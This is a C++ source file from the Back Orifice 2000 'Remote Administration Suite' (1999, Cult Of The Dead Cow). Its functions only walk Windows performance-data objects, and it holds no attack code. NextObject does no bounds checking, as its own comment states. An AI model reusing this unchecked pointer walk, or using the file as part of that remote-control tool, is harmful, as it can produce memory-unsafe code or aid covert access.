📄 objdata.cpp
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/* Back Orifice 2000 - Remote Administration Suite
Copyright (C) 1999, Cult Of The Dead Cow
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
The author of this program may be contacted at dildog@l0pht.com. */
#include <windows.h>
#include <winperf.h>
#include <perfdata.h>
// FirstObject() - Returns pointer to the first object in pData.
// If pData is NULL then NULL is returned.
PPERF_OBJECT FirstObject (PPERF_DATA pData)
{
if (pData)
return ((PPERF_OBJECT) ((PBYTE) pData + pData->HeaderLength));
else
return NULL;
}
// NextObject() - Returns pointer to the next object following pObject.
// If pObject is the last object, bogus data maybe returned.
// The caller should do the checking.
// If pObject is NULL, then NULL is returned.
PPERF_OBJECT NextObject (PPERF_OBJECT pObject)
{
if (pObject)
return ((PPERF_OBJECT) ((PBYTE) pObject + pObject->TotalByteLength));
else
return NULL;
}
// FindObject() - Returns pointer to object with TitleIndex.
// If not found, NULL is returned.
PPERF_OBJECT FindObject (PPERF_DATA pData, DWORD TitleIndex)
{
PPERF_OBJECT pObject;
DWORD i = 0;
if (pObject = FirstObject (pData)) {
while (i < pData->NumObjectTypes) {
if (pObject->ObjectNameTitleIndex == TitleIndex)
return pObject;
pObject = NextObject (pObject);
i++;
}
}
return NULL;
}
// FindObjectN() - Find the Nth object in pData.
// If not found, NULL is returned. 0 <= N < NumObjectTypes.
PPERF_OBJECT FindObjectN (PPERF_DATA pData, DWORD N)
{
PPERF_OBJECT pObject;
DWORD i = 0;
if (!pData)
return NULL;
else if (N >= pData->NumObjectTypes)
return NULL;
else
{
pObject = FirstObject (pData);
while (i != N)
{
pObject = NextObject (pObject);
i++;
}
return pObject;
}
}
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